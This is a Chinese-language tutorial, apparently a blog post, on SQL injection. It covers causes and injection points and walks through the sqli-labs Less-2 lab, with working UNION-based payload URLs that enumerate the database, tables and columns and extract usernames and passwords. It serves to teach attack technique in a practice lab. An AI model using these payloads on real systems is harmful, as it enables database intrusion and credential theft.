网络安全——SQL注入漏洞

一、SQL注入概述

1、SQL注入漏洞

       攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而实现对后台数据库乃至整个应用系统的入侵。

2、SQL注入原理

      服务端没有过滤用户输入的恶意数据,直接把用户输入的数据当中SQL语句执行,攻击者从而获得数据库中的数据,影响数据库安全和平台安全

实现SQL注入的两个条件:

用户能够控制输入

原本程序要执行的SQL语句,拼接了用户输入的恶意数据

3、SQL注入过程

 4、SQL注入带来的危害

5、SQL注入示例

 

 --空格是注释的意思,注释掉后面的语句

二、SQL注入分类

1、按照注入点类型分类

(1)数字型(整型)注入

 例:sqli-labs的第一关,使用火狐浏览器的hackbar

 

 在靶机地址后加?id=8 and 1=2,没有反应

(2)字符型注入

 字符串注入测试方法

 

(3)搜索型注入

2、按照注入技术(执行效果)分类

三、SQL注入漏洞形成的原因

1、动态字符串构建引起

 2、后台存在的问题

后台无过滤或者编码用户数据

数据库可以拼接用户传递的恶意代码

3、错误处理不当

详细的内部错误信息显示给用户或者攻击者

错误信息可以直接给攻击者提供下一步攻击帮助

4、不安全的数据库配置

四、寻找SQL注入点

1、GET方法

一种请求服务器的HTTP方法,使用该方法时,信息包含在URL中

点击一个链接时,一般会使用该方法

 2、POST方法

POST是一种向Web服务器发送信息的HTTP方法,数据无法在URL中看到,可以抓包,也可以用Hackbar中的POST,POST可以发送字节大的数据

 3、其他注入点

Cookie、Host、User-Agent

4、关于注入点的总结

只要后台接收前台输入的数据,而且没有对数据进行过滤,最后直接进入到数据库,从而构成威胁

五、SQL注入过程

1、手工注入

 利用sqli-labs靶机的第二关

(1)判断是否存在注入点

 

 

 (2)、判断字段长度(也就是表中数据有多少列)

利用order by 语法,如下图,为什么-- 后面不是空格,是+呢,因为用+代替空格,以免空格被后面隐藏的固定语句吃掉,使--不起作用

 

 

 

 到了4就报错,说明有3个字段

(3)、判断字段回显位置

由上一步我们知道有3个字段,我们可以利用union语法,如下图

and 1=2 是与条件,使前面的语句失效,执行union后面的查询,从而判断出回显位置

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,3--+

(4)判断数据库信息和查询数据库名

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,database()--+

 (5)查询数据表

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

(6)查找数据库表中所有字段以及字段值

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

 

 (7)猜解账号密码

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1--+

 

 

以此类推,可通过修改limit后面的参数,将users表中存放的所有用户信息全部暴露出来。


这篇文章就写到这里了!

 

  • 4
    点赞
  • 74
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值